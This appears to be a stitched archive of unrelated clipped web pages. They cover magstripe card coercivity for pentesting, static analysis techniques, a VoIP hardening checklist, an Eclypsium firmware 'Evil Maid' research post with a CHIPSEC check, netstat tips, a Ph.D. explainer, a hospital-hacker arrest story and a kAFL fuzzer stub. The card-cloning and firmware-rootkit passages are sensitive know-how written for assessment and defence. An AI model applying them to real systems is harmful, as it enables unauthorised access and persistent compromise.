control systems at airports often use HiCo cards. Today many credit cards are
being made on HiCo cards so the strips won't be damaged as easily in our
interference rich high tech world. Cards that need to be low cost or
frequently re-written are generally LoCo cards. For example every hotel card
is a LoCo card, this is also why these cards are so delicate and you can't get
into your hotel room if you store your room key near your phone or magnetic
money clip. The magnetic stripes used on paper mass transit tickets are also
LoCo stripes for cost and re-writability reasons.

Now that we know the difference between HiCo and LoCo cards how does this
impact reading and writing cards? **Coercivity rating has no impact on reading
a card.** Every reader I have seen, even cheap ones, will read HiCo and LoCo
cards. The big difference comes in when you need to write cards. **Writers are
HiCo and LoCo specific.** For the most part I have only found LoCo writers
openly available, HiCo writers obviously exist but are pretty hard to come by
and very expensive.

Luckily LoCo cards will work just fine most penetration testing and security
assessment applications where cards need to be created or manipulated. For
instance if you need to make you own cards this can easily be done with a LoCo
writer, more on this in a future post. Even if you need to manipulate a HiCo
card you can simply read it with a normal card reader, manipulate the data and
write it onto a LoCo card. The target reader cannot tell the difference
between HiCo and LoCo cards, the LoCo card just may not last as long in an
environment with strong magnetic fields. Luckily for most assessment work you
will only need to use the card for a short period of time so the fragility of
LoCo cards is not an issue.

Next up in the series I'll cover selecting the proper hardware and software to
read and write magstripes\!

Any questions on the difference between High Coercivity and Low Coercivity
magnetic stripe cards?

# Joy of Programming: The Technology Behind Static Analysis Tools - LINUX For
You

**Created:**| _3/12/2012 3:53:13 PM_  
---|---  
**Updated:**| _3/12/2012 2:53:40 PM_  
**Author:**| __  
**Tags:**| _code-review analysis code-checks static_  
  

# Joy of Programming: The Technology Behind Static Analysis Tools

By S.G. Ganesh on September 1, 2011 in Coding, Columns · 0 Comment

<img src='img/Temp2_4733.jpg' width='245' height='326' alt='Let's analyse this
code' />

There are a wide range of static analysers available today — both commercial
as well as open source. Have you ever wondered how static analysers magically
detect difficult-to-find bugs in code? And why some commercial static
analysers are extremely costly? Have you ever thought how difficult \(or how
easy\) it would be to write your own static analyser?

To answer these questions, we need to understand the technology behind static
analysers. In this column, I will first provide a detailed overview of static
analysers and then delve into the different analysis techniques, many of which
are formal, i.e., applied mathematics for modelling and analysing computer
systems \(hardware or software\). For each technique, I will also mention
widely adopted \(open source or commercial\) tools that use the specific
technology; and highlight the possibilities of implementing your own static
analysers \(i.e., ideas for your six-month academic project\).

Analysing programs to gather facts on them is known as program analysis. This
can be performed dynamically, i.e., by actually executing the program and
gathering facts. For example, when you test a program, you are performing
dynamic program analysis, where you check if the program leaks memory, or
fails with a null-pointer access exception. Program analysis can also be
performed statically, i.e., without actually executing the program, and
gathering facts. For example, when you review code, you don’t actually execute
the program — you just analyse the program in your mind, and find bugs in the
program, such as null-pointer access.

So what are static analysers? They are tools that analyse the program without
actually executing it. Static program analysis can be performed for a wide
variety of reasons. However, two main applications of program analysis are to
optimise code, and to find bugs. A compiler optimiser analyses programs to
understand how it can generate more efficient code. Bug-detection tools
analyse programs to see if there are any mistakes in the program, such as
buffer overflows, that can lead to runtime errors. Our focus is on static
analysis to find bugs.

Before we go ahead, note that static analysers can be used for purposes other
than finding bugs: to find instances of the use of design patterns, to find
duplicate code segments \(code clones\), to report metrics \(measurement
results such as Depth of Inheritance Tree\) results, for code comprehension
and reverse engineering \(generate documentation or higher-level design
diagrams to aid understanding the program\), etc. Also note that static
analysis can be performed on different software artefacts, such as design
diagrams \(e.g., UML diagrams\), structured contents \(e.g., XML files\),
grammars \(e.g., yacc programs\), etc. Further, the input to static analysers
need not be just source code; it can also be byte code \(as in Java/C\#\) or
executable code \(e.g., native code generated from C/C++ programs\). Here, we
mainly focus on techniques to find bugs, i.e., code or design problems, from
code.

## An overview of technologies

Static analysers are implemented using a wide range of technologies. I’ll
describe them starting from the simple ones to the more complex. A warning
before we proceed: topics such as theorem proving and abstract interpretation
are quite technically complex, so I will present the overall idea behind the
technique and leave it to you to explore the concepts further and figure them
out.

## Bug pattern matching

Some bugs are easy to find, even without the use of sophisticated
technologies. For example, it is a common mistake in C/C++ to type `=` instead
of `==` in condition checks. We can easily detect this ‘bug pattern’ by
checking if the `=` operator is used for condition checks. This is typically
performed by matching the coding pattern in the program with the expected bug
pattern at the AST \(Abstract Syntax Tree\) level, as in the case of the
classic, free “lint” program in UNIX \(today, Gimpel sells better lints under
the name PC-Lint for Windows and Flexlint for UNIX flavours; see gimpel.com\).
FxCop is a free C\# tool from Microsoft that matches bug patterns at byte code
level.

One main advantage with bug pattern-matching is that the tool can execute
quite fast even on a large code base, and even on partially written programs
\(i.e., work-in-progress code with syntax or semantic errors that won’t
compile successfully\). The main disadvantage of bug pattern-matchers is that
they are not effective in finding useful runtime errors such as null-reference
or divide-by-zero errors. Since their analysis is shallow, they report wrong
or false errors, technically referred to as ‘false positives’.

Most bug pattern matching tools provide support for extending the tool. For
example, FxCop has a documented API, and you can write your own \(i.e.,
custom\) rules using the API. The Eclipse IDE supports JDT and CDT for Java
and C/C++, respectively. JDT/CDT’s ASTs are exposed as APIs. If you learn the
AST and the API, you can write a bug detector as a summer project.

Since lint is perhaps the earliest of static analysers, even today, when
people refer to static analysis tools, they have a lint-like tool in mind.
However, today there are sophisticated and different technologies used to find
bugs, as we’ll see later in this article.

## Data-flow analysis

In data flow analysis \(DFA\), the runtime information about the data in
programs is collected. This analysis is typically performed by traversing over
the control-flow graph \(CFG\) of the program. Now, what is a CFG? It can be
thought of as an abstract representation of functions in a program, in a
graph. Each node in the graph represents a basic block, and directed edges are
used to represent jumps in the control flow. Now what is a basic block? It is
a sequence of statements where the control enters at the beginning, leaves
only at the end, and the control cannot halt or branch out of the block
\(except, of course, at the end\).

Now, DFA can be performed to find bugs such as null-pointer access. From the
point where the pointer variable is initialised, and where it is de-
referenced, we can find out the path\(s\) in which the value of the pointer
variable is still null when it is de-referenced. DFA can be intra-procedural
or inter-procedural, i.e., the analysis can be limited only to within a
function or to the whole program. The analysis is typically performed by using
standard algorithms, and they are not computationally intensive. However,
analysing the whole program is costly in terms of processing time and/or the
memory space required. Hence, many static analysers limit themselves to intra-
procedural analysis. For example, FindBugs is an open source tool that
performs bug pattern matching for simple problems, and performs DFA to detect
problems such as null-pointer access at the intra-procedural level.

DFA is mainly used by compiler optimisers to generate efficient code. DFA does
not gather much useful information based on the semantics of the programming
languages and their operators. Hence, it is useful for finding bugs, but is
still not very effective.

## Abstract interpretation

Abstract interpretation is approximating the program semantics by replacing
the concrete domain of computation and their operations to an abstract domain
of computing and their operations. I know this description is confusing; so,
let me explain abstract interpretation with a standard introductory example
about rules-of-sign that we learnt in school.

Consider the expression `(-123*456)`. What is the sign of this expression?
Without actually calculating the resulting value, we can say that the
expression results in a negative value. How? We know the rules-of-sign:
multiplying a negative value with a positive value results in a negative
value. In other words, the expression can be abstractly interpreted as
`(negative-value * positive-value) => negative-value`. If we actually perform
the arithmetic to find the sign, we will be performing concrete
interpretation; if we abstract them and perform arithmetic to find the sign,
we are performing abstract interpretation. Now, how is it useful for finding
bugs? Consider a simple C example:

`float` `f1 = -4;``float` `f2 = 4;``printf``(``"%lf"``, ``sqrt``(f1 * f2));`  
---  
We need not have to actually evaluate \(concretely interpret\) the expression
`f1 * f2` to find that it results in a negative value—and it is an invalid
arithmetic operation to try to get the square root of a negative number; we
can reach the same conclusion if we abstractly interpret the expression.

There are many commercial tools that use abstract interpretation to find bugs
— for example, Polyspace from Mathworks. Abstract interpretation is
computationally very expensive, and choosing an appropriate abstract value
domain and heuristics for determining termination are important to make it
practically usable on large code-bases. Most commercial tools that use this
technology are also costly.

Symbolic execution is analysing the program by tracking the symbolic values
instead of actual values. In a way, symbolic execution \(or analysis, or
evaluation\) is abstract interpretation; in fact, every kind of deeper
analysis without executing the program can be seen as abstract
interpretation\!

## Model checking

Program execution can be viewed as the transition of the program from one
state to another state. Most states are valid, and some are error states.
Examples of error states are the program states when divide-by-zero, deadlock
or buffer-overflow happens. Model checking is an automated verification
technique, where the possible system behaviour \(i.e., implementation
behaviour\) is matched with the desired behaviour \(specified properties\). In
other words, a model checker ideally checks all possible system states and
verifies if the given properties hold. If the property does not hold for a
certain reachable state, then the property is violated, and a counter example
is thrown to the user about the violation. Java PathFinder \(JPF\) is an open
source tool that explicitly constructs state models to check the software.

In practice, exhaustive checking of all system states is not feasible for
commercial software, which often consists of millions of lines of code. In
other words, if the transition system representing the program has too many
states, then it becomes very difficult to check the system against the
properties; this is known as a state-explosion problem. Many techniques are
being developed to address this problem, and already some solutions are being
widely used. One is to construct only part of the state space of the program,
and as state transitions are explored, more states are built, as the need
arises. Another approach is to use ‘symbolic checking’. In this approach, the
states and transitions are implicitly represented using Boolean formulas,
known as Binary Decision Diagrams \(BDDs\). Now the solvers that work on BDDs
can be used, and this simplification considerably pushes the limits on the
size of the programs that can be checked. For example, the SLAM/SDV tool from
Microsoft automatically creates Boolean program abstraction from a C program,
and model checking is applied on the resulting Boolean program. The SDV tool
is shipped with the Windows Driver Development Kit \(WDK\).

Model checking can find defects that are generally hard-to-detect using
conventional techniques like testing. Also, model checking can be used for
sequential as well as concurrent programs \(as we know, concurrent programs
can have bugs that are non-deterministic, and hence model checking is very
useful\).

## Program querying

The fundamental idea behind program querying is that a program can be viewed
as structured data \(in other words, a database\), and we can perform queries
on it to get the necessary information. In implementing this idea, the program
can be implicitly treated as a database or it can explicitly use a database
such as MySQL. Similarly, for querying the data, one can use an SQL-like
language, or SQL itself. For example, NDepend is a tool that generates code
and design metrics. With its Code Query Language \(CQL\), we can write SQL-
like queries to obtain data on the program. A list of query languages is
provided at cs.nyu.edu.

Logic programming languages such as Prolog use a database of facts, and
queries in these languages allow for inferring relationships from the given
set of facts. For this reason, Prolog and its variants, such as Datalog, are
widely used for static analysis, particularly for inferring design patterns or
anti-patterns. For example, the JTransformer tool translates a Java program to
Prolog facts. Now, it’s possible to implement tools such as Cultivate, which
use the Prolog facts generated by JTransformer, and infer design metrics as
well as violations.

Static analysis is a useful and cost-effective way to find bugs early in the
software development life-cycle, and complements other approaches such as
testing. In this article, I have outlined different technologies for static
analysis, and hope you’ll appreciate the fact that the technologies applied
for static analysis are advanced. If you’re a student, you’ll find the writing
tools to automatically find bugs interesting and challenging; you can start
learning about the technology that interests you, and implement your own
detector. Many of the widely used and free tools, such as PMD, FindBugs,
CheckStyle, FxCop and StyleCop, provide extensibility facilities to write your
own rules; so you can also learn by implementing new rules and testing them,
before starting to write a full-fledged bug detector.

# Application Integration Security Checklist \(VoIP Software\)

**Created:**| _4/25/2014 10:24:33 AM_  
---|---  
**Updated:**| _4/25/2014 10:24:39 AM_  
**Author:**| __  
**Tags:**| _appsec auditing_  
  

# Application Integration Security Checklist \(VoIP Software\)

* * *
Posted: 2014-04-25 11:23 by bf   |   Auf Deutsch lesen   |  More posts
about Blog VoIP News

* * *
<img src='img/Temp2_872.png' alt='/images/app-security-tagcloud.png' />

## Background

During our security audits we encounter plenty of application setups. With few
rare exceptions most installations are just plain and simple standard
installations as in `apt-get install App` with little modifications from a
security perspective.

As a case study for the little known VoIP server software Yate I have compiled
a list of suitable steps to harden the application's setup. Although this list
is specific to VoIP software, it can be applied to any application with a bit
of abstract thinking.

## Security Checklist

  * **Principle of minimal privilege:**  Try to restrict your setup as much as possible to do exactly what you intended it to do, not more. This principle implicitly applies to all of the following points.
  * **Operating System:**
    * Use virtual environments, such as Xen, VirtualBox, OpenVZ, ...
    * Use a chroot environment.
    * Run Yate with a dedicated system user and group.
    * Set ulimits to prevent resource exhaustion.
    * Use application security systems, e.g. AppArmor.
    * Don't run any other server software on the system.
    * Don't let many users access the system.
    * Log admin access.
  * **Filesystem:**  Restrict access to files:
    * Yate files, scripts and modules should be owned by a different system user than the user that runs Yate. E.g.
> chown -R root:yate /usr/local/etc/yate /usr/local/share/yate
    * Files should be set read-only for the user that runs Yate. E.g.
> chmod -R go-w /usr/local/etc/yate /usr/local/share/yate
    * Files containing passwords or other sensitive information should be set unreadable for others:
> cd /usr/local/etc/yate chmod 640 accfile.conf regfile.conf mysqldb.conf
    * Consider using encrypted filesystems to protect sensitive data, e.g. voicemail messages or remote VoIP account credentials.
  * **IP Network:**
    * Set up a firewall to restrict access to SIP, rmanager, extmodule, ... and don't forget IPv6.
    * Set up flood protection, e.g. fail2ban.
    * Use a VPN to restrict access to access all or parts of Yate.
    * Configure management services like rmanager and extmodule to listen on localhost only.
    * Configure a dedicated VLAN for VoIP traffic.
    * Protect switch ports with IEEE 802.1x if possible.
    * Set switch ports to be disabled after link is down.
  * **Database:**
    * Write your SQL statements with caution: Only use appropriately escaped or whitelisted values in dynamic queries in order to prevent SQL injection attacks. \(see also: SQL Injection\). Keep in mind, that variables may contain user provided values, such as user agent, caller ID or custom SIP headers.
    * Restrict Yate database user to DELETE, INSERT, SELECT, USAGE, UPDATE. There is no reason for the database to be dropped or altered by a phone call.
    * Think about rejecting suspicious database queries by whitelisting or blacklisting queries before execution using the _regexroute_  module.
  * **SIP Security:**
    * Only allow SIP methods actually needed, e.g. disable OPTIONS.
    * Don't enable subscribe/notify features to unauthenticated users.
    * Don't leak information about server software versions to the outside. Change the default SIP header `Server:` \(or `User-Agent:` for SIP clients\) to omit version numbers.
    * Filter traffic to other networks, e.g. with a Session Border Controller \(SBC\).
  * **VoIP routing and dialplan considerations:**
    * Avoid routing loops. Yate has an internal loop detection. But bouncing calls from one VoIP server to another and back several times will exhaust resources and provide attackers with a deny-of-service attack surface.
    * Restrict internal numbers to authenticated clients.
    * Categorise clients by source IP, if possible. E.g. internal clients may always have an internal IP.
    * Protect your dialout. Anonymous users or SIP scanners should not be able to generate charges on your telephone bill.
    * Never trust an incoming caller ID. Caller IDs can be faked, is PSTN as well as in VoIP. Also: Obscure caller IDs should be rejected or rewritten at an early routing stage, e.g. allow only digits 0-9, A-D and maybe allow the international `+` character in some cases.
    * Do not allow users to change their caller ID, e.g. set caller ID based on the authenticated username.
    * Explain your dialplan. Draw diagrams. Write tables. Fill Wikis. Anything. Please.
    * Test your configuration. In particular, regular expressions as used to create a dialplan with the _regexroute_  module can be tricky.
  * **Passwords:**
    * Generate strong and random user passwords, e.g. with APG.
    * If possible, avoid passwords at all, but use certificates or hardware tokens instead.
    * Protect phone applications, e.g. voicemail, with passcodes longer than four digits. If possible, add additional checks for valid caller-IDs, user authentication credentials, IPs, time of day or other criteria.
    * Users must be able to change their passwords and PINs on their own. They should also be made aware of this feature.
  * **Update Strategy:**
    * Regularly check for new versions.
    * Know how to easily update Yate. Take notes on how to compile, deploy, install, upgrade Yate to make life easier for the future you or possibly for other administrators. Also: Store notes where they can be found, e.g. in a file `../YATE\_NOTES.txt` or a documentation wiki \(or even an offline notebook\).
  * **Transport Encryption:**  Consider setting up encryption if possible:
    * Enable SIP over TLS \(SIPS\).
    * Enable SRTP.
    * As a client, validate certificates in order to prevent man-in-the-middle attacks.
    * Consider enforcing encrypted calls - SIPS + SRTP - for some numbers, e.g. confidential conference rooms.
    * For performance reasons it may be better to use VPN solutions - e.g. IPSec or OpenVPN - for point-to-point links in some cases.
  * **No Logging:**
    * Log nothing unless absolutely required. For personal use, this may be unnecessary. For business use it may even be against privacy laws to store connection data.
    * Think about logging only statistics - e.g. usage counters - without associated names/numbers.
    * A cronjob should be in place to delete old data.
  * **Monitoring:**  Set up monitoring software in order to know when something went wrong.
  * **Security Checks:**  Implement as many security features as possible and check them on a regular basis.
  * **Disaster Recovery:**  Keep your VoIP setup well documented and create automated backups on a regular basis. It should be well known what to do after discovering a security incident - for example:
    * Disconnect from the internet.
    * Restore VoIP setup to a defined state.
    * Find and fix vulnerability, e.g. upgrade software.
    * Change all passwords, PINs, SSH keys, ... and revoke certificates.
    * Inform users.

_bf_

  

# “Evil Mai﻿d” Firmware Attacks Using USB Debug

**Created:**| _9/23/2018 9:03:32 AM_  
---|---  
**Updated:**| _9/23/2018 9:03:32 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit Firmware_  
  

  

# “Evil Mai﻿d” Firmware Attacks Using USB Debug

Debug mechanisms are standard components that assist in tracing the source of
faults in virtually of all platforms.. These mechanisms are primarily used
before a platform reaches production, but also are often used for refurbishing
and fixing returned platforms. Security researchers have repeatedly published
attacks using debug features, including locating and using JTAG, using debug
over USB and finding vulnerabilities in System Management Mode \(SMM\) using
debug.

At Eclypsium, we perform security research to create practical defenses for
the hardware foundation of computing infrastructure. We confirmed that debug
access over USB enables installation of persistent rootkits in UEFI firmware
and runtime SMM firmware on systems that do not securely set debug policy
\(CVE-2018-3652\). This weakness would allow an attacker with physical access
to the device to perform an “Evil Maid” attack without opening the case. As
others have reported, it is quite difficult to defend against this type of
attack. To provide visibility into this threat, we have released a module for
the open source CHIPSEC framework in order to detect vulnerable systems.

# Protecting Firmware

Every time a computer starts, it must execute firmware to initialize hardware
in a usable configuration. This creates the expected environment for software
to execute. If malware is able to change some of this configuration, it can
elevate its privilege above that of other software either by executing in a
privileged mode or reconfiguring the system to violate the assumptions of
normal software and violate security properties. The most direct way to do
this is simply to modify the firmware.

Of course, an attacker with physical access can simply attach a hardware
programmer and modify firmware. While this may seem like it requires
specialized equipment and detailed knowledge, it is actually quite easy in
most cases. Most firmware is stored on a Serial Programmable Interface \(SPI\)
flash chip. This creates a physical standard for reads and writes to the
storage chip, and SPI flash programmers are relatively easy to buy or create.
It will also be necessary to figure out what to change in order to gain access
without breaking the system. However, another researcher \(Dmytro Oleksiuk\)
has developed a generic proof-of-concept backdoor that can be easily installed
into most firmware modules. One could say that the ease and availability of
these tools and techniques make firmware rootkits accessible to non-experts,
even “script kiddie” material. We were able to install this rootkit on an
enterprise laptop with under 4 minutes of physical access.

Another way to modify firmware is through privileged software. In order to
defend against this type of attack, firmware should configure protection bits
related to firmware storage early during boot. Once this is done, normal
software \(even including malware that elevated privileges to the kernel\)
would be unable to perform writes to firmware storage until a reboot when
firmware should execute protect itself again. However, firmware still writes
to the storage for code and configuration updates somehow. This can be done by
requiring a reboot, but that is not feasible in all cases. Alternatively,
trusted code, executing in SMM during runtime, can be used to bypass the
protections and write to firmware storage. Therefore, SMM is a major target
for an attacker trying to install a persistent firmware rootkit.

# Using Debug with SMM Firmware

As noted earlier, other researchers have demonstrated that debug capabilities
can be used to find vulnerabilities and directly bypass software-based
protections. Indeed, debug capabilities have long been a favorite method for
vulnerability discovery. Our analysis demonstrates that physical attacks are
even easier than ever on a debug-enabled system. Attackers don’t need a
special hardware programmer and don’t need to open the case. Using publicly
available tools they can simply plug into an external USB port to install a
persistent rootkit, bypassing secure boot and many other security features.

We have demonstrated that it is possible to halt the system inside SMM and
make arbitrary changes to memory from that context. This grants complete
control of highly privileged SMM execution to the attacker. By writing code to
modify firmware storage \(which is also generically available\), such
attackers can leverage existing firmware rootkits to install persistent
malware. While this has major security implications, it turns out to also be
an intended feature for debug purposes. Unfortunately, some systems failed to
turn off these capabilities in production.

# Debug Access on Production Systems

In order to understand the risk to your systems, it is important to know
whether debug is enabled on your production systems. Unfortunately, this isn’t
easy without a bit of research. We have developed an open source CHIPSEC
module to help. This module mainly checks two main components of the platform:

  * CPU debug features
  * Direct Connect Interface

Let’s dive into these checks and break it down by component. First, the status
of CPU Debug Features are located in the IA32\_DEBUG\_INTERFACE model specific
register \(MSR\). In the Intel Software developer manual we can see the
breakdown of this MSR:

<img src='img/null.png' width='576' height='199' />

If we ignore the reserved bits we can see 3 interesting things:

  * An Enable bit.
  * A Lock bit.
  * A Debug Occurred bit.

According to this specification, by default, debug is disabled and unlocked.
In our chipsec module we check if debug is disabled and locked, which would be
a secure configuration for firmware to set in production. If this is done, the
check will pass. We also check for the Debug Occurred bit, but we do not rely
on its result for a pass/fail decision due to cases where it has false
positives \(according to CHIPSEC maintainers\).

CPU debug is only part of the problem, though. The next check is the status of
the Direct Connect Interface \(DCI\). This feature was previously blogged
about and exploited in the above references. It is documented in the chipset
datasheet for each platform, for example in the “Intel 100 series and Intel
C230 Series Chipset Family Platform Controller Hub \(PCH\) Datasheet Volume 2”
, under the name “DCI Control Register”:

<img src='img/null1.png' width='576' height='453' />

Although this register appears to exist in future chipsets made by intel, it
is only documented in this specific datasheet.

Inside this register, between a plethora of reserved bits, we find the “Host
DCI Enable” bit or HDCIEN. If enabled, the chipset will provide debug
capability over USB. The check, therefore, is pretty straightforward; a secure
configuration would disable DCI, and the bit should be 0.

Only when both of the above checks indicate that no debug feature is enabled,
do we consider a system to be securely configured and return PASSED from our
chipsec module. As for the “Debug occured” bit in the CPU debug features MSR,
we decided to follow the advice of the CHIPSEC maintainers and only show a
warning if said bit is set. In theory, it would indicate that debug has been
enabled at some point during boot.

CHIPSEC can be found on github at https://github.com/chipsec/chipsec

Our module is debugenabled.py

With chipsec installed, you can run this module alone by using this command
line:

<img src='img/chipsec-dci-output-small.png' width='576' height='156'
alt='chipsec-dci-output-small' />

We have observed failures on a few systems, but it is quite difficult to know
how many more are affected. Intel has released a security advisory
\(CVE-2018-3652\) about some systems that do not securely set debug policy. We
recommend that you run the checks and see for yourself if your systems are
affected.

# Mitigations

Of course, the first protection is to maintain complete physical control over
sensitive systems. This can be difficult, however. If a sensitive system does
fail this check, there is very serious risk from anyone who has physical
access to the system even for a very limited period of time. Just by plugging
a cable into the USB port and running a script, they may be able to bypass
nearly all security technologies. For example, as mentioned earlier in this
blog, an attacker may infect firmware with their own malware or rootkit, and
they can do it without opening the case\!

Some systems may have a setting in the BIOS/firmware setup menu to
enable/disable debug features. After disabling the setting, administrators can
check for for this configuration to pass the chipsec test module mentioned
earlier. In this case, it will be important to protect these settings with a
strong password or other mechanisms.

In other cases, it may be necessary to contact the system manufacturer and
inquire about a version of firmware that securely disables debug access.

# Conclusion

In this blog, we have examined attacks that use USB debug to bypass security
measures and install firmware rootkits. Although debug should be disabled in
production, some quick checks enable you to determine whether your systems are
impacted. We hope that our research will help organizations to understand and
defend against “Evil Maid” attacks.

  

# Command Line Kung Fu: Episode \#8: Netstat Protocol Stats

**Created:**| _5/16/2009 10:34:35 AM_  
---|---  
**Updated:**| _5/16/2009 10:34:39 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#8: Netstat Protocol Stats

Ed Says:  
  
On Windows, the netstat command has really got a lot of features that are
useful for analyzing network behavior. Even without installing a sniffer, you
can learn a good deal about network traffic with a stock Windows machine by
running netstat with the -s flag to see statistics for all supported
protocols. You can select an individual protocol's stats with -p \[proto\],
with TCP, UDP, ICMP, and IP supported. On Vista, they also added IPv6, ICMPv6,
TCPv6, and UDPv6.  

[code]

    C:\> **netstat -s -p ip**
    
[/code]

  
That'll show you IPv4 stats including packets received and fragments created.  

[code]

    C:\> **netstat -s -p tcp**
    
[/code]

  
This one shows the number of active opens and reset connections, among other
things. Those stats are useful if you suspect some kinds of denial of service
attacks.  
  
Hal Comments:  
  
The Linux "netstat -s" command will also dump statistics:  

[code]

    $ **netstat -s**  
     Ip:  
    115851638 total packets received  
    237 with invalid headers  
    0 forwarded  
    0 incoming packets discarded  
    115825742 incoming packets delivered  
    72675668 requests sent out  
    2914 reassemblies required  
    1457 packets reassembled ok  
    Icmp:  
    34672 ICMP messages received  
    18 input ICMP message failed.  
    ...
    
[/code]

  
Unfortunately, while there are command line options to dump just the TCP or
just the UDP statistics, they don't work consistently across different Linux
distributions. In some cases they even include other protocol statistics, like
IP and ICMP stats, along with the TCP or UDP stats.  
  
I did come up with a fairly gross hack for pulling out sections of the report
for a specific protocol:  

[code]

    $ **netstat -s | awk '/:/ { p = $1 }; (p ~ /^Tcp/) { print }'**  
     Tcp:  
    64684 active connections openings  
    25587 passive connection openings  
    1043 failed connection attempts  
    236 connection resets received  
    15 connections established  
    114808177 segments received  
    71655514 segments send out  
    24271 segments retransmited  
    11 bad segments received.  
    2906 resets sent  
    TcpExt:  
    1640 invalid SYN cookies received  
    15 ICMP packets dropped because they were out-of-window  
    57520 TCP sockets finished time wait in fast timer  
    ...
    
[/code]

  
The first part of the awk expression matches on the ":" character in the
"header" line of each protocol section and sets our magic "p" variable to the
current protocol name. That value remains in "p" until we reach the next
header, and so on. The second part of the awk expression does a regular
expression match against the current value of "p" and prints the current line
as long as "p" matches the protocol we're looking for. That gets us the header
line itself, plus all of the following lines of output up until the next
header.  
  
Why is this so clunky? Basically, Unix commands are generally poor at
"remembering context" across multiple lines, so you often end up with these
sorts of hacked solutions.  
  
Paul Says:  
  
As byte\_bucket mentioned, things work a bit differently on OS X. Hal's
command above needs to have a lower case "tcp" in order to work in OS X:  
  

[code]

    $ **netstat -s | awk '/:/ { p = $1 }; (p ~ /^tcp/) { print }'**
    
[/code]

  
  
Also the following command:  
  

[code]

    $ **netstat -s -p tcp**
    
[/code]

  
  
Works great on both Linux and OS X. I find these commands very useful for
network troubleshooting, especially given slow performance or high error
counts on the network switch.

# The illustrated guide to a Ph.D.

**Created:**| _8/12/2010 4:57:35 PM_  
---|---  
**Updated:**| _8/12/2010 4:57:35 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# The illustrated guide to a Ph.D.

Every fall, I explain to a fresh batch of Ph.D. students what a Ph.D. is.

It's hard to describe it in words.

So, I use pictures.

Read below for the illustrated guide to a Ph.D.

Imagine a circle that contains all of human knowledge:

<img src='img/PhDKnowledge.001.jpg' width='440' />

By the time you finish elementary school, you know a little:

<img src='img/PhDKnowledge.002.jpg' width='440' />

By the time you finish high school, you know a bit more:

<img src='img/PhDKnowledge.003.jpg' width='440' />

With a bachelor's degree, you gain a specialty:

<img src='img/PhDKnowledge.004.jpg' width='440' />

A master's degree deepens that specialty:

<img src='img/PhDKnowledge.005.jpg' width='440' />

Reading research papers takes you to the edge of human knowledge:

<img src='img/PhDKnowledge.006.jpg' width='440' />

Once you're at the boundary, you focus:

<img src='img/PhDKnowledge.007.jpg' width='440' />

You push at the boundary for a few years:

<img src='img/PhDKnowledge.008.jpg' width='440' />

Until one day, the boundary gives way:

<img src='img/PhDKnowledge.009.jpg' width='440' />

And, that dent you've made is called a Ph.D.:

<img src='img/PhDKnowledge.010.jpg' width='440' />

Of course, the world looks different to you now:

<img src='img/PhDKnowledge.011.jpg' width='440' />

So, don't forget the bigger picture:

<img src='img/PhDKnowledge.012.jpg' width='440' />

Keep pushing.

## Related posts

  * Recommended reading for grad students.
  * How to get into grad school.
  * Advice for thesis proposals.
  * Productivity tips for academics.
  * Academic job hunt advice.
  * Successful Ph.D. students: Perseverance, tenacity and cogency.

## Resources

  * A slideshow version in PDF.
  * French translation: C'est quoi un doctorat? \(by Pierre Poulin\)

matt.might.net is powered by **linode**.

# Hospital Hacker GhostExodus Owns Himself – Arrested | Darknet – The Darkside
**Created:**| _7/2/2009 4:24:50 PM_  
---|---  
**Updated:**| _7/2/2009 4:24:56 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

Hospital Hacker GhostExodus Owns Himself – Arrested

Darknet spilled these bits on July 2nd 2009 @ 10:53 am

This story actually gave me a lot of LULZ, how stupid can you be seriously?
Man this guy made so many mistakes for someone so paranoid \(he had a web cam
setup outside his appartment door so he could see who was coming\)..

But then he exposed his IP address on IRC, posted his face on some freaky
vampire site and posted up screenshots of the HVAC system he ‘owned’ on a
forum.

He wasn’t exactly making it hard for someone to find him..especially seen as
though he actually WORKED IN THE HOSPITAL.

> The leader of a malicious hacker collective who used his job as a security
> guard to breach sensitive Texas hospital computers has been arrested just
> days before his group planned a “massive DDoS” attack for the July 4
> Independence Day holiday.
> Jesse William McGraw, 25, of Arlington, Texas, was taken into custody late
> Friday evening after posting screenshots showing he had complete control of
> computers that administered air-conditioning systems at The Carrell Clinic
> in Dallas, federal prosecutors said. McGraw also brazenly posted videos
> showing him installing malware on hospital computers that made them part of
> a botnet he operated, said a network security expert, whose sleuthing
> uncovered the breach.
> As a contract security guard at the hospital, McGraw had no authorized
> access to any of its computers. But that didn’t stop the miscreant, who went
> by the handle GhostExodus, from taping himself as he walked down the halls
> of the hospital with a blue security guard uniform poking out through a gray
> hoody, as he bragged about gaining control over sensitive computers.
If there was ever an original script kiddy, I think this guy fits the bill
perfectly.

Seems like his l33t hacking skills extend to walking into rooms he has access
too \(with a security card\), and taking some screenshots\!

Or perhaps even sometimes he booted in with BackTrack and reset the passwords.

> “It’s a unique mindset among these hackers,” said Wesley McGrew, a 29-year-
> old network PhD network security researcher at Mississippi State University.
> “It’s all about respect and fame and the respect of their equally weird
> peers.”
> According to McGrew and federal prosecutors in Dallas, McGraw was the leader
> of a hacker gang known as the Electronik Tribulation Army. He had recently
> posted videos admonishing fellow hackers to carry out a “massive DDoS,” or
> distributed denial of service, attack on July 4, a date he called “Devil’s
> Day”. While the target and other details of the attack are unknown, the
> investigators are taking the threat seriously because McGraw, prior to his
> arrest, had tendered his resignation as a security guard job effective July
> 3.
> According to court documents, hospital officials had experienced problems
> with their HVAC, or heating, ventilation and air-conditioning, units and
> were perplexed why none of the system alarms had gone off as programmed. Had
> they seen screenshots posted here by someone calling themselves GhostExodus,
> they would have known why. They images showed the HVAC control window for
> the hospital’s surgery unit. A test alarm setting was turned to “inactive.”
> “You almost can’t help it ya know,” GhostExodus writes. “It must be done\!”
Yah you just can’t help messing with the critical HVAC system of a hospital
YOU TOOL. What is the point of that anyway, other than bragging rights \(which
will only impress other script kiddies\).

Who knows…I guess if he had any real skills he wouldn’t be working as a
security guard and he’d actually be using his talent to make some real bank.

Oh well, good luck to you I say GhostExodus.

# RUB-SysSec/kAFL

**Created:**| _9/4/2017 9:27:57 AM_  
---|---  
**Updated:**| _9/4/2017 9:27:57 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels

Blazing fast x86-64 VM kernel fuzzing framework with performat VM reloads for
Linux, MacOS and Windows.

Published at USENIX Security 2017.

### Currently missing:

  * full documentation
  * agents for macOS and Windows \(except for our test driver\)

## BibTex:

[code]
